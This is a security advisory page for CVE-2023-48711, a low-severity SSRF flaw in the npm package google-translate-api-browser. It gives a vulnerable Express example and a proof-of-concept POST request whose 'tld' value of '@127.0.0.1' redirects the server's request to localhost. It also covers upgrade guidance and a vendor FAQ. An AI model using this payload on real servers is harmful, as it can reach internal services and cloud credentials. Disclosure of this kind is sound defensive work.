CVE-2023-48711

google-translate-api-browser Server-Side Request Forgery (SSRF) Vulnerability

const express = require('express');
const { generateRequestUrl, normaliseResponse } = require('google-translate-api-browser');
const https = require('https');

const app = express();
app.use(express.json());

app.post('/translate', async (req, res) => {
    const { text, options } = req.body;

    const url = generateRequestUrl(text, options);

    https.get(url, (resp) => {
        let data = '';
      
        resp.on('data', (chunk) => {
          data += chunk;
        });
      
        resp.on('end', () => {
            res.json(normaliseResponse(JSON.parse(data)));
        });
      }).on("error", (err) => {
        console.log("Error: " + err.message);
      });
});

const port = 3000;
app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

POST /translate HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 51

{"text":"Hello","options": {"tld": "@127.0.0.1"}  }

An attacker can send requests within internal networks and the local host. Should any HTTPS application be present on the internal network with a vulnerability exploitable via a GET call, then it would be possible to exploit this using this vulnerability.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2023-48711 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.0); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2023-48711? CVE-2023-48711 is a low-severity server-side request forgery (SSRF) vulnerability in google-translate-api-browser (npm), affecting versions < 4.1.0. It is fixed in 4.1.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2023-48711? CVE-2023-48711 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of google-translate-api-browser are affected by CVE-2023-48711? google-translate-api-browser (npm) versions < 4.1.0 is affected.
4. Is there a fix for CVE-2023-48711? Yes. CVE-2023-48711 is fixed in 4.1.0. Upgrade to this version or later.
5. Is CVE-2023-48711 exploitable, and should I be worried? Whether CVE-2023-48711 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-48711 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-48711? Upgrade google-translate-api-browser to 4.1.0 or later.